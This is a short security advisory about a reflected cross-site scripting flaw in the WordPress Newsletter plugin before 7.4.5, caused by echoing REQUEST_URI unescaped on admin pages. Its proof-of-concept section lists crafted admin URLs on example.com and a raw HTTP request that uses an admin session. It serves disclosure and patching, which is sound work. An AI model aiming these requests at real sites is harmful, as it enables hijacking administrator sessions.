Newsletter < 7.4.5 - Reflected Cross-Site Scripting

The plugin does not sanitize and escape the $_SERVER[‘REQUEST_URI’] before echoing it back in admin pages. Although this uses addslashes, and most modern browsers automatically URLEncode requests, this is still vulnerable to Reflected XSS in older browsers such as Internet Explorer 9 or below.

PoC

https://example.com/wp-admin/admin.php?page=newsletter_main_index&amp;debug;& https://example.com/wp-admin/admin.php?page=newsletter_main_main&amp;debug;& https://example.com/wp-admin/admin.php?page=newsletter_subscription_options&amp;debug;& https://example.com/wp-admin/admin.php?page=newsletter_subscription_antibot&amp;debug;& https://example.com/wp-admin/admin.php?page=newsletter_emails_index&amp;debug;& https://example.com/wp-admin/admin.php?page=newsletter_users_index&amp;debug;& https://example.com/wp-admin/admin.php?page=newsletter_main_extensions&amp;debug;& GET /wp-admin/admin.php?page=newsletter_main_index&debug;&"> HTTP/1.1 Host: example.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: [logged in admin] Upgrade-Insecure-Requests: 1